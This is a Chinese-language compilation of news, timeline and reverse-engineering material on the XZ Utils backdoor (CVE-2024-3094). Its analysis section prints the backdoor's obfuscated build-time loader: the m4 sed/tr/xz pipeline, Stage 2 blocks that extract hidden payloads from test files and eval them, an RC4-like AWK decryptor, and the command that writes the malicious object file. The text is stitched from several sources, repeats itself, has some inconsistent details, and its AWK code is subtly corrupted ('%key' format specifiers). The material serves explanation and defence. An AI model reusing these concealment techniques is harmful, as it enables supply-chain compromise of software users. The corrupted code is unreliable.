XZ漏洞集


XZ-Utils 是 Linux、Unix 等 POSIX 兼容系统中广泛用于处理.xz 文件的套件,包含 liblzma、xz 等组件,已集成在 Debian、Ubuntu、CentOS 等发行版仓库中。
事情简报
攻击者 JiaT75 于 2021 年注册了 GitHub 账号,之后积极参与 xz 项目的维护,并逐渐获取信任,获得了直接 commit 代码的权利。
JiaT75 在最近几个月的一次 commit 中,悄悄加入了 bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma 两个看起来人畜无害的测试用二进制数据,然而在编译脚本中,在特定条件下会从这两个文件中读取内容对编译结果进行修改,致使编译结果和公开的源代码不一致。
目前初步的研究显示,注入的代码会使用 glibc 的 IFUNC 去 Hook OpenSSH 的 RSA_public_decrypt 函数,致使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。(具体细节还在分析中)
只要是同时使用了 liblzma 和 OpenSSH 的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。
受影响的 xz-utils 包已经被并入 Debian testing 中进行测试,攻击者同时也在尝试并入 fedora 和 ubuntu。
幸运的是,Andres Freund commiter 在做一些微基准测试,看到 sshd 进程使用了惊人数量的 CPU,随后顺藤摸瓜发现了这个阴谋并报告给 linux-distros,然后报告给 oss-security。致使此事败漏。
目前 GitHub 已经关停了整个 xz 项目
恶意代码远程访问攻击
XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。xz 也是一种通用数据压缩格式,几乎存在于每个 Linux 发行版中,包括社区项目和商业产品发行版。从本质上讲,它有助于将大文件格式压缩(然后解压缩)为更小、更易于管理的大小,以便通过文件传输进行共享。
2024年3月30日消息,Red Hat 公司发布安全公告称在最新的 XZ Utils 数据压缩工具和库中发现了一个后门,敦促用户立即停止使用 Fedora 开发和实验版本。目前排查结果显示 Red Hat Enterprise Linux(RHEL)没有任何版本受到影响。我们已经在适用于 Debian unstable(Sid)发行版的 XZ 5.6.x 版本中找到相关证据,证明存在后门,可以注入相关代码。最新版本的 xz 5.6.0/5.6.1 工具和库中包含恶意代码,可能允许未经授权的远程系统访问。
Debian 安全团队也发布公告表示当前没有发现有稳定版 Debian 使用问题 XZ 软件包,在受影响的 Debian 测试版、不稳定版和实验版中,XZ 已被还原为上游的 5.4.5 代码。微软软件工程师安德烈斯・弗罗因德(Andres Freund)在一台 Linux 盒子上调查 Debian Sid(Debian 发行版的滚动开发版本) SSH 登录缓慢问题时,发现了这个安全问题。他发现 XZ 格式压缩实用程序 xz-utils 的上游源代码压缩包已被破解,并在构建时向生成的 liblzma5 库中注入恶意代码。弗罗因德表示目前并未找到在 XZ 5.6.0 和 5.6.1 版本中添加恶意代码的确切目的。
Kali Linux 发布声明表示该漏洞对 3 月 26 日至 3 月 29 日期间的 Kali 造成了影响,建议相关用户尽快进行最新升级。Amazon Linux 则确认未受该漏洞影响,用户无需采取任何措施。OpenSUSE 表示已于 3 月 28 日回滚了 Tumbleweed 上的 xz 版本,并发布了根据安全备份构建的新 Tumbleweed 快照(20240328 或更高版本)。
“对于 SSH 被暴露在互联网上的 openSUSE Tumbleweed 用户,我们建议重新安装,因为不知道后门是否已被利用。由于后门的复杂性,不可能在系统上检测到漏洞。此外,强烈建议对可能从系统中获取的任何凭据进行轮换。否则,只需更新至 openSUSE Tumbleweed 20240328 或更高版本并重新启动系统即可。”
安全研究人员 Andres Freund 进行的逆向工程分析发现,恶意代码使用巧妙的技术来逃避检测。更多详情可查看此 oss-security 列表;值得一提的是,目前 GitHub 已全面禁用了 tukaani-project/xz 仓库,并附有一条信息:由于违反了 GitHub 的服务条款,GitHub 工作人员已禁止访问该版本库。如果您是该版本库的所有者,可以联系 GitHub 支持部门了解详情。
红帽公司(Red Hat)现正跟踪这一供应链安全问题,将其命名为 CVE-2024-3094,并将其严重性评分定为 10/10,同时在 Fedora 40 测试版中恢复使用 5.4.x 版本的 XZ。
XZ-Utils 5.6.0-5.6.1 版本存在后门风险
开发者 JiaT75 在其 GitHub 仓库中发布的 5.6.0 和 5.6.1 版本(github.com/tukaani-project/xz/releases/)加入了后门逻辑,使得构建的 liblzma 包含额外的耗时计算逻辑。
systemd 依赖 liblzma,导致 sshd 等依赖于 systemd 的应用程序也受到影响,sshd 服务启动速度变慢,存在未授权访问风险。
存在后门版本的 xz-utils 官方发布于 2024 年 2 月 24 日,被 Debian unstable 分支、Fedora Rawhide、Fedora 40、Arch Linux 等少数仓库集成,暂未被大规模应用,CentOS/Redhat/Ubuntu/Debian/Fedora 等 stable 仓库不受影响。该漏洞于2024年3月30日被发现,CVE 编号为CVE-2024-3094。
修复方案:将 xz-utils 降级至 5.6.0 以前版本或在应用中替换为 7zip 等组件。
恶意代码潜伏三年,后门投毒黑客身份成谜
整个周末,开源软件xz被植入后门事件,引发了安全界的轩然大波。研究人员惊恐地发现,在包括Red Hat和Debian在内的多个广泛使用的Linux版本中,一款压缩工具被悄悄植入了恶意代码!
微软的安全研究员Andres Freund首次报告了这件事。发现在这款名为xz Utils的工具的5.6.0和5.6.1版本中,都含有恶意代码。而且这段恶意代码极其复杂难解。扒着扒着人们发现,这段代码是由一位名为Jia Tan的用户(JiaT75),通过四次代码变更(也即在GitHub上「提交」)的方式,植入到了Tukaani项目中。
这样攻击者即使没有有效账号,也可以直接从SSHD访问系统了。目前,GitHub已经禁用XZ Utils代码库,且还未收到漏洞被利用的报告。
好在这个后门已经及时被发现了。目前GitHub已经以违反服务条款为由,禁用了Tukaani项目维护的XZ Utils代码库。然而可怕的是,如果这个后门的漏洞很巧妙,技术很高超,那么xz被广泛引入各Linux发行版后,这些Linux系统就会轻易被入侵!这件事情可能导致的可怕后果,让安全社区对此掀起了经久不息的讨论。
一场灾难被避免了
好在证据显示,这些软件包只存在于Fedora 41和Fedora Rawhide中,并不影响Red Hat Enterprise Linux (RHEL)、Debian Stable、Amazon Linux以及SUSE Linux Enterprise和Leap等主流Linux版本。但Red Hat和Debian已经报告称,最近发布的测试版中的确使用了这些被植入后门的版本,特别是在Fedora Rawhide和Debian的测试、不稳定及实验版本中。同样Arch Linux的一个稳定版本也受到了影响,不过该版本也并未应用于实际生产系统中。另外还有一些读者报告称,macOS的HomeBrew包管理器中包含的多个应用,都依赖于被植入后门的5.6.1版本xz Utils。目前HomeBrew已经将该工具回滚至5.4.6版本。
安全公司Analygence的高级漏洞分析师Will Dormann表示,「这个问题实际上并没有对现实世界造成影响」。但这主要是因为恶意行为者疏忽了,导致问题被发现的时机很早。就如同上文所提,如果后门没被及时发现,后果将是灾难性的。
Jia Tan是谁
既然事情解决了,那么问题的焦点就集中在了——Jia Tan究竟是谁?
这位Jia Tan,是xz Utils项目的两位主要开发者之一,对该项目贡献良多。Freund其报告中指出,「考虑到这几周内的活动情况,这位提交者要么是直接涉及,要么其系统遭受了严重的安全威胁。」
不幸的是,种种迹象表明,后一种可能性似乎并不大。所以这次xz被植入后门事件,很可能就是Jia Tan的主观恶意行为。上周有人冒用了这位开发者的名字,在Ubuntu的开发者社区中请求将含后门的5.6.1版本纳入正式发布,理由是它修复了一个导致Valgrind工具出错的问题。还有人发现,近几周这位开发者也向他们提出了类似的请求,希望在Fedora 40的测试版本中使用这个带有后门的工具版本。「我们甚至还帮助他解决了Valgrind的问题(而现在看来,这个问题正是由他加入的后门引起的),」Ubuntu的维护人员说。「他已经在xz项目中工作了两年,添加了各种各样的测试文件,鉴于这种复杂的操作,我们对xz的早期版本也持怀疑态度,直到后来,它们被证明是安全的。」
后门技术分析
简单来说,CVE-2024-3094引入的这个后门,是为了在受害者的OpenSSH服务器(SSHD)中注入恶意代码,从而让远程攻击者(持有特定私钥)能够通过SSH发送任意代码,并在认证步骤之前执行,进而有效控制受害者的整台机器。尽管具体的内容仍在分析当中,但初步分析表明,它的设计相当复杂:
后门代码被注入到OpenSSH服务器(sshd进程),因为liblzma(含有恶意代码)是某些OpenSSH版本的依赖项。
后门劫持了RSA_public_decrypt函数,这个函数原本用于验证RSA签名。
恶意代码会检查RSA结构中传入的公共模数(「N」值),这个模数完全受到攻击者控制。
恶意代码使用硬编码的密钥(采用ChaCha20对称加密算法)对「N」值进行解密。
解密后的数据通过Ed448椭圆曲线签名算法进行有效性验证。由于这是一种非对称签名算法,后门只包含了公钥,这意味着只有攻击者能够为后门生成有效载荷。此外,这个签名与主机的公钥绑定,因此一个主机上的有效签名不能在其他主机上使用。
如果数据有效,该有效载荷将以shell命令的形式被执行。
如果数据无效(有效载荷格式不正确或签名无效),则会透明地恢复到RSA_public_decrypt的原始实现。这意味着,除了攻击者之外,是无法通过网络发现易受攻击的机器的。
「卧薪尝胆」三年
这次最令人印象深刻的,是攻击者超乎寻常的耐心和决心。其花费了两年多的时间,通过参与各种开源软件项目并提交代码,逐步建立起作为一个可信任维护者的形象,以此来避免被发现。
2021年,一个名为Jia Tan(GitHub用户名:JiaT75)的用户创建了GitHub账户,并开始为多个项目做出贡献。在那一年他共提交了546次代码,其中对libarchive项目的一次提交尤其引起了人们的关注。
2022年2月6日,Jia Tan在XZ项目中做出了他的第一次正式提交,这次提交增加了对LZMA和LZMA2编码器的参数验证功能。
2023年6月27日至28日,Jia Tan对XZ Utils项目进行了一系列关键的更改,从而为后续的攻击做好了准备。
特别是,项目中的一个文件crc64_fast.c,新增了对一种名为ifunc的技术的支持。根据安全研究员Andres Freund的分析,引入的这种ifunc技术可能是潜在后门功能的一部分,显示了攻击者可能利用的一种手段。
此外,值得注意的是,这个重要更新是由项目的原始维护人Lasse Collin引入的,并且他特别提到了另一位贡献者Hans Jansen对这一更新的贡献。
2023年7月8日,JiaT75在oss-fuzz项目中提交了一个请求,该项目负责对XZ等多个开源软件项目进行自动错误检测。这个请求实际上关闭了一种特定的错误检测方式,从而防止oss-fuzz发现XZ项目中潜藏的恶意代码。
2024年2月15日,JiaT75通过修改XZ项目的配置文件,加入了一个规则来忽略特定的脚本文件build-to-host.m4。
很快,这个脚本就被包含在了项目的正式发布版本中——它会在构建过程中执行,并植入一段负责在受害者电脑上安装后门的恶意代码。
2024年2月23日,JiaT75在XZ项目的测试文件夹中加入了两个含有隐藏后门的测试文件。
2024年2月24日,JiaT75发布了包含恶意脚本文件的新版本5.6.0,也就是说任何使用了这个版本及以后版本的XZ都存在安全风险。
2024年2月27日,这个带有安全隐患的版本被Fedora采纳。
2024年3月9日,JiaT75更新了后门程序,发布了版本5.6.1,Fedora同样更新了这个版本。
2024年3月29日,安全研究员Andres Freund在oss-security邮件列表上公布了他对XZ项目中发现的恶意行为的详细分析。
还有更多受害者
虽然恶意代码仅在XZ项目中被检测到,但攻击者账户的其他代码贡献目前也在调查中。
截至今日,一些项目已经被发现添加了可疑代码:
libarchive
2021年,JiaT75向libarchive代码库提交了一个名为「在使用bsdtar解压时添加错误提示文本」的合并请求,乍看之下似乎没什么问题。但仔细一看,这个合并请求中的代码把原本安全的函数safe_fprintf()换成了更危险的fprintf()函数,这一改动可能会导致字符逃逸的安全漏洞。
oss-fuzz
2023年初,JiaT75把XZ项目在Google的oss-fuzz工具上注册的主邮箱改为了他个人的Gmail邮箱。这一行为似乎暗示其想要第一时间接收到XZ项目中发现的漏洞报告,以此来及时知晓自己的恶意操作被揭露的情况。
2023年末,他们提交了一个新的合并请求(Pull Request),目的是在XZ项目的fuzzer配置中禁用「间接函数支持(Indirect function support)」。
这一操作似乎可以防止被fuzzer探测到,从而为在XZ项目中植入的后门做好铺垫。
波及的范围:
可以通过命令 xz --version 或者 xz -V 来查看当前 xz 的版本;幸运的是,该后门被及时发现,还未进入到主流 Linux 发行版的 stable 版本;但采用 rolling update 或者追求软件最新版的包管理器(例如 nix)的用户可能受到影响,请马上更新或者回退。
注意,上述命令只能确认 xz 命令是否受此后门影响,不能完全排查出系统其它软件是否依赖问题版本,从而有风险。请大家密切关注该安全事件,我们也会在官网上持续更新相关的信息。
根据 repology,已知受影响的版本:Cygwin, mingw, Manjora,AUR,Alpine( EDGE 版本 受影响,所幸 latest 版本 没有受影响 )
前沿尚未稳定的 Linux 发行版 (Arch, Debian, Red Hat, openSUSE)
XZ 开源攻击时间线
知名压缩软件 xz 被植入后门,黑客究竟是如何做到的?
Andres Freund 通过电子邮件告知 oss-security@ 社区,他在 xz/liblzma 中发现了一个隐藏得非常巧妙的后门,这个后门甚至影响到了 OpenSSH 服务器的安全。Andres 能够发现并深入调查这个问题,实在令人敬佩。他在邮件中对整个事件进行了全面的总结,所以我就不再赘述了。
诚然,这个故事中最吸引眼球、最耐人寻味的部分,无疑是那个经过重重混淆的、藏有后门的二进制文件。然而,勾起我兴趣的,却是 bash 脚本一开始的那几段代码,以及其中运用的简单而巧妙的混淆技法。接下来,就让我们沿着黑客的足迹,一层层揭开这个谜题的面纱,领略大师级的隐藏技巧。不过请注意,我并不打算事无巨细地解释每段 bash 代码的所有功能,而是着重剖析它们是如何被层层混淆、又是如何被逐一提取出来的。这才是其中的精髓所在。
在正式开始之前,有几点不得不提:
这个后门影响了 xz/liblzma 的两个版本:5.6.0 和 5.6.1。这两个版本之间存在一些细微的差异,我会尽量在分析过程中同时覆盖到它们。
bash 脚本部分可以划分为三个 (也可能是四个) 主要阶段,我将其称为 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在 m4/build-to-host.m4 文件中添加的启动代码。至于潜在的 “Stage 3”,虽然我怀疑它尚未完全成型,但也会略作提及。
那些经过混淆和加密的代码,以及后面的二进制后门,都藏身于两个看似无害的测试文件中:tests/files/bad-3-corrupt_lzma2.xz 和 tests/files/good-large_compressed.lzma。切莫小觑了它们。
让我们先来看看 Stage 0 —— 这个谜题的开端。
Stage 0
正如 Andres 所指出的,一切的起点都在 m4/build-to-host.m4 文件。让我们逐步解读其中的玄机:
...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...
首先,它从 tests/files/bad-3-corrupt_lzma2.xz 文件中读取字节流,并将其输出,作为下一步的输入。读取完所有内容后,它还会额外添加一个换行符。这种步步相扣的方式在整个过程中随处可见。
第二步是执行 tr 命令,将某些字符 (或字节值) 映射为其他字符。来看几个例子:
echo "BASH" | tr "ABCD" "1234"
21SH
在这个示例中,“A” 被映射为 “1”,“B” 被映射为 “2”,依此类推。
我们也可以指定字符范围。例如在上面的示例中,我们只需将 “ABCD” 更改为 “A-D”,并对目标字符集执行相同的操作:“1-4”:
echo "BASH" | tr "A-D" "1-4"
21SH
类似地,我们可以指定它们的 ASCII 代码的八进制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以变成 “\061-\064”。
echo "BASH" | tr "\101-\104" "\061-\064"
21SH
回到我们的代码中,tr "\t \-_" " \t_\-" 对来自 tests/files/bad-3-corrupt_lzma2.xz 文件的字节流做了如下替换:
0x09 (\t) 被替换为 0x20
0x20 (空格) 被替换为 0x09
0x2d (-) 被替换为 0x5f
0x5f (_) 被替换为 0x2d
这一番调换,实际上起到了 “修复” bad-3-corrupt_lzma2.xz 文件的作用,让它重获新生,成为一个合法的 xz 数据流。
在 Stage 0 的压轴戏中,修复后的 xz 字节流被提取出来,并对过程中的错误选择性地忽略。而这个过程的成果,正是 Stage 1 的脚本,它随即自我执行起来。
接下来,让我们关注 Stage 1 —— 那个充满神秘色彩的开端。
Stage 1
在 Andres 的邮件中,Stage 1 对应的是那个以 “####Hello####” 开头的 bash 文件。它虽然篇幅不长,但值得我们仔细研读,并留意 5.6.0 和 5.6.1 版本之间的差异 (以黄色字体做标记):

第一个区别是第二行注释中的随机字节:
在 5.6.0 版本中是 86 F9 5A F7 2E 68 6A BC;
在 5.6.1 版本中是 E5 55 89 B7 24 04 D8 17。
我不确定这些差异是否有任何意义,但我还是想指出来。
其中一处引人注目的差异是,5.6.1 版本新增了一段检查脚本是否运行于 Linux 的代码,并重复出现了 5 次,颇有几分忏悔和自我约束的意味。
下面我们把目光转向 Stage 2 的提取代码,就是那个长度惊人的 export i=... 语句,里面塞满了 head 命令。让我们仔细分析一下它的运作机制:
开头的 export i=... 其实定义了一个 “函数”,在第 3 步和 Stage 2 中被调用。
提取 Stage 2 的第一步,是使用 xz 解压 good-large_compressed.lzma 文件,并将解压后的数据传递给下一步。这开启了一系列环环相扣的 “接力赛”。
紧接着,i “函数” 登场 (eval $i)。这个函数由一系列 head 命令组成,要么输出接下来的 N 个字节,要么彻底忽略它们。
最初的代码:
(head -c +1024 >/dev/null)
这里的 -c +1024 选项告诉 head 只读取和输出来自输入数据流的接下来的 1024 个字节 (请注意,这里的 + 将会被忽略,它不会做任何事情,这与 tail 命令不一样)。但是,由于输出在这种情况下被重定向到 /dev/null,我们实际得到的是 “跳过接下来的 1024 个字节”。
值得注意的是,如果我们仔细观察 good-large_compressed.lzma 解压后的前 1024 个字节,会发现它几乎全是重复了 1024 次的字符 “A” (字节 0x41)。有趣的是,在第一个 1024 个字符之后,还隐藏着一些神秘的二进制数据。
下一个 head 调用看起来和之前几乎相同,只是长度不同:
head -c +2048
注意这里的输出不会被忽略,它将作为输入传递给下一步。
这个模式反复出现:1024 个字节被跳过,然后 2048 个字节被输出,1024 个字节被跳过,2048 个输出... 如此循环,直到文件的末尾,在 5.6.0 版本中只输出 724 个字节,而在 5.6.1 版本中只输出 939 个字节。
为了直观地呈现这一点,这里展示了这组 head 调用处理的实际输入数据。字节 0 在文件的左上角;每一列表示文件的 256 个字节,以灰度表示。请注意高熵 (“嘈杂”) 区域之间的 “空灰” 区域 – 脚本的这一部分基本上是删除空白区域,将蕴藏数据的区域合二为一。

在下一步中,使用 tail -c +31233 命令丢弃数据的前部 (剧透一下:那里隐藏了一扇二进制后门,它将在下一个阶段被打开,所以现在还用不到它)。在 5.6.0 版本中,丢弃的是前 31264 个字节,而在 5.6.1 版本中是 31232 个字节 (一个字节的差异是因为 tail -c +N 的意思是 “从第 N 个字节开始输出”,而不是 “忽略前 N 个字节”)。
第 5 步重新使用了 tr 命令,在这里它被用作一个简单的替换密码,在 5.6.0 和 5.6.1 版本中有不同的密钥 (字节值映射):
5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"
根据之前的解释,这基本上意味着 (对于 5.6.0 版本) 值为 5 的字节将被值为 0 的字节替换,值为 6 的字节将被值为 1 的字节替换,依此类推。在每种情况下,都有 6 个范围映射到整个 0 - 255 (即八进制的 377) 范围。
整个过程反复上演着这样的 “捉迷藏” 游戏:跳过 1024 字节,然后输出 2048 字节,再跳过 1024 字节,再输出 2048 字节…… 直到抵达文件的尽头。
这部分脚本的真正任务,是剔除其中的 “废料”,将有价值的数据部分连缀成完整的数据流。
下一步中,数据流的前面一大段被果断抛弃。
往后是借助 tr 命令实施简单的替换加密,5.6.0 和 5.6.1 版本使用了不同的密钥。
最后,加密后的数据经过解压缩,呈现出 Stage 2 脚本的真容,并立即投入自我执行的怀抱。
现在,让我们进入 Stage 2,一探究竟。
Stage 2
Stage 2 就是 Andres 邮件中提到的 infected.txt 文件 (我手头只有 5.6.0 版本)。这个 bash 脚本可谓洋洋洒洒,正是在这里,编译过程遭到了不轨的修改。
以混淆的视角审视这个脚本,有三个片段值得我们特别关注,其中两个仅在 5.6.1 版本中才显露真容。
Stage 2 扩展机制
首先是 Stage 2 的 “扩展” 机制:
片段 1:
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
片段 2:
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
这两个代码片段几乎完全相同,所以让我们可以同时处理这两个片段。它们的作用如下:
它在 tests/files/ 目录下搜寻 (grep -broaF) 具有特定签名的两个文件:
Fragment 1: "~!:_ W" and "|_!{ -"
Fragment 3: "jV!.^%" and "%.R.1Z"
如果找到它们,就提取每个文件的偏移量 (cut -d: -f2,假定 : 是字段分隔符,则取第 2 个字段),以第一个偏移量加 7 为 $start,以第二个文件的偏移量作为 $end。
掌握了 $start 和 $end 这两个关键信息后,脚本就能从第一个文件中提取 $start 到 $end 之间的内容。
cat $f1 | tail -c +${start} | head -c +${end}
接下来,它使用和 Stage 1 如出一辙的替换解密方式 (对于 5.6.0 版本的密钥)。
tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
最后,解密后的数据再次经过解压缩,然后立即执行:
eval `... | xz -F raw --lzma2 -dc`
有趣的是,在我分析的两个版本中,都没有任何文件真正匹配这里的签名。因此,整个过程更像是一种 “插件/补丁” 机制,它允许我们在不修改原始 payload 的前提下,向 Stage 2 中注入新的脚本。
这是一个明智的设计,因为反复修改 “坏” 和 “好” 的测试文件是非常可疑的行为,可能会引起他人的注意。因此,他们的计划似乎是只添加新的测试文件,这些文件会被选中、解密并执行。
Stage 2 后门提取
然后是 Stage 2 中的后门提取过程。在某个关键时刻,一个 .o 文件会被悄然提取出来,并巧妙地嵌入编译和链接的流程中。以下代码就是这个环节的主谋(和之前一样,我将用黄色字体区分两个版本的差异):

两个版本之间的差异,主要体现在压缩后的 payload 大小略有不同(5.6.0 版本的 payload 大小为 88792,而 5.6.1 版本的 payload 大小为 88664),以及 AWK 脚本中的一个神秘常量有所变化。
与前面的步骤如出一辙,提取过程由一系列命令的完美配合构成。其中一些步骤与 Stage 1 遥相呼应,因为二进制的 payload 就安睡在 “good” 文件数据尚未开垦的处女地。让我们沿着脚印,一步步探寻:
第一步与 Stage 1 的第二步相同,用 xz 解压 tests/files/good-large_compressed.lzma 文件。
第二步同样与 Stage 1 的第三步一致,调用了先前的那个 “很多 head” 的函数。
从这里开始,事情就有所不同了。首先,前一步的输出通过 sed 命令进行了修改:
LC_ALL=C sed "s/\(.\)/\1\n/g"
这个命令的作用是在每个字节后面添加一个换行符(除了换行符本身)。最终,我们得到了一个每行只有一个字节的输出(没错,这里大量混合了处理文件的 "文本" 和 "二进制" 方法)。下一步恰好需要这种格式。
下一步,一个 AWK 脚本粉墨登场,它对输入流进行类似 RC4 的解密工作。以下是该脚本的美化版本:
BEGIN { # Initialization part.
FS = "\n"; # Some AWK settings.
RS = "\n";
ORS = "";
m = 256;
for(i=0;i<m;i++) {
t[sprintf("x%key", i)] = i;
key[i] = ((i * 7) + 5) % m; # Creating the cipher key.
}
i=0; # Skipping 4096 first bytes of the output PRNG stream.
j=0; # ↑ it's a typical RC4 thing to do.
for(l = 0; l < 4096; l++) { # 5.6.1 uses 8192 instead.
i = (i + 1) % m;
a = key[i];
j = (j + a) % m;
key[i] = key[j];
key[j] = a;
}
}
{ # Decription part.
# Getting the next byte.
v = t["x" (NF < 1 ? RS : $1)];
# Iterating the RC4 PRNG.
i = (i + 1) % m;
a = key[i];
j = (j + a) % m;
b = key[j];
key[i] = b;
key[j] = a;
k = key[(a + b) % m];
# As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
# with the key, but here for some add is used instead (might be an AWK thing).
printf "%key", (v + k) % m
}
解密后的数据再次通过 xz 解压缩,重获新生。
xz -dc --single-stream
最后,使用相同的常用 head 技巧提取从 N(0)到 W(约 86KB)的字节,并将其保存为 liblzma_la-crc64-fast.o—— 这就是最终的二进制后门文件。
((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o
小结
通过以上分析可以看到,有人煞费苦心地将这个后门隐藏得如此巧妙,令人叹为观止。从将 payload 藏匿于看似无害的二进制测试文件之中,到运用文件提取、替换加密、RC4 变种等技巧,再到将整个过程拆分为多个执行阶段,并预留 “插件” 机制以备将来之需,这一切无不凸显出幕后黑客的心思缜密和技艺精湛。
然而,这个案例也给我们敲响了警钟:如果这样一个精心设计的后门都是要靠意外才能发现,那么还有多少潜藏的威胁尚未浮出水面?我们又该如何及早发现并防范这些威胁?这需要安全社区每一位成员保持警惕,用更加缜密的思维去分析每一处细节,去揭示每一个蛛丝马迹。只有如此才能筑起维护网络安全的坚实防线。
作者及官网声明
注意,攻击的开发者是 Jia Tan,而非 xz-utils 的原作者 Lasse Collin。以下是 Lasse Collin 的声明:
Facts:
CVE-2024-3094
XZ Utils 5.6.0 and 5.6.1 release tarballs contain a backdoor. These tarballs were created and signed by Jia Tan.
Tarballs created by Jia Tan were signed by him. Any tarballs signed by me were created by me.
GitHub accounts of both me (Larhzu) and Jia Tan are suspended.
xz.tukaani.org (DNS CNAME) was hosted on GitHub pages and thus is down too. It might be moved to back to the main tukaani.org domain in the near future.
Only I have had access to the main tukaani.org website, git.tukaani.org repositories, and related files. Jia Tan only had access to things hosted on GitHub, including xz.tukaani.org subdomain (and only that subdomain).
当前作者的声明比较仓促,因此大家可以持续关注官网的声明。
目前还未完全清楚该事件的影响范围;但 openssh 的 sshd 首当其冲;注入的代码会 Hook OpenSSH 的 RSA_public_decrypt 函数,致使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证,允许特定的 SSH 密钥进行登录,绕过 SSH 身份验证。凭此一点,足见其影响之恶劣。
回头看:席卷Linux世界的巨大威胁是如何被阻止的
2024 年 3 月,一名开发者的偶然发现,阻止了一场可能席卷全球的安全灾难。这场危机的核心是一款名为 XZ Utils 的开源工具,它被植入了恶意代码,这些代码如果成功运行,黑客将能够控制全球范围内的 Linux 系统。在此再了解这起事件的来龙去脉以及能从中能得到 的经验教训。
背景回顾:比 Log4Shell 更危险的漏洞
2021 年的 Log4Shell 这个 Java 日志库 Apache Log4j 中的一个漏洞,被誉为过去十年中最严重的安全漏洞之一。当时,全球开发者不得不为数百万个应用程序紧急更新补丁以修复这一漏洞。然而,有一个漏洞的威胁规模比 Log4Shell 大 1000 倍,它几乎可以影响全球所有 Linux 系统。这次的核心问题在于 XZ Utils,一款广泛应用于 Linux 发行版中的数据压缩工具。恶意行为者将一个远程代码执行的后门植入了该工具,如果未被发现,后果将不堪设想。
漏洞如何被意外发现?
2024 年 3 月 29 日,微软工程师兼 PostgreSQL 开发者 Andres Freund 在一次性能基准测试中,发现了一个异常。他注意到 Debian Linux 测试版中的 SSH 安全代码运行速度非常缓慢。Freund 在 Mastodon 上发文表示:“当时我正在进行微基准测试,为了减少噪音需要让系统保持安静。我发现 sshd 进程占用了异常高的 CPU 资源,尽管这些进程因错误用户名等原因立刻失败了。”
进一步调查后,Freund 确认 XZ Utils 的维护者 Jia Tan 在代码中植入了后门程序。此后,这一漏洞被标记为 CVE-2024–3094,并被评为最高严重等级(CVSS 分数 10.0)。受影响的版本为 XZ Utils 5.6.0 和 5.6.1。幸运的是,这些恶意代码仅出现在 Fedora、Debian、Kali、openSUSE 和 Arch Linux 的不稳定版和测试版中,尚未进入任何生产环境的 Linux 发行版。
幕后故事:社会工程的经典案例
事件的背后,是一起典型的社会工程攻击(Social Engineering)。XZ Utils 的原始维护者 Lasse Collin 长期忙于其他项目,导致对 XZ Utils 的维护力度不足。作为一个开源项目,任何人都可以提交代码,甚至申请成为维护者。此时一个名为 Jia Tan 的人出现了。他主动提出协助维护项目,并得到了多个“同伴”的推荐。这些人不断称赞 Tan 是一位优秀的贡献者,并积极推动 Tan 成为项目的共同维护者。最终,Tan 在 2021 年被正式添加为 XZ Utils 项目的联合维护者。从那时起,Tan 持续向项目推送代码,并在其中悄悄植入了恶意后门。
2024 年事件曝光后,GitHub 迅速封禁了 XZ Utils 项目及其维护者 Collin 和 Tan 的账户。Collin 当时正在度假,得知事件后立刻在个人博客中发布声明,并持续更新更多信息。微软高级威胁研究员 Thomas Roccia 还在 X 平台上发布了一张详细的时间线信息图,解释了整个事件的来龙去脉。
这场危机如何被阻止?
这次安全危机能被及时发现,完全得益于 开源的透明性。因为 XZ Utils 是开源的,开发者可以审查和测试代码,从而与恶意行为者处于同一水平线上。事件发生后,美国网络安全与基础设施安全局(CISA)迅速发布警告,建议用户将 XZ Utils 降级至安全版本(如 XZ Utils 5.4.6 稳定版),以避免遭受攻击。
能从中学到什么?
这起事件不仅是一场险些发生的灾难,也是一次警示:
1.开源软件的双刃剑:开源的优势在于透明性,但同时也可能被恶意行为者利用。
2.社会工程的危险:开源项目的维护者需要警惕社会工程攻击,避免将权限交给不可靠的人。
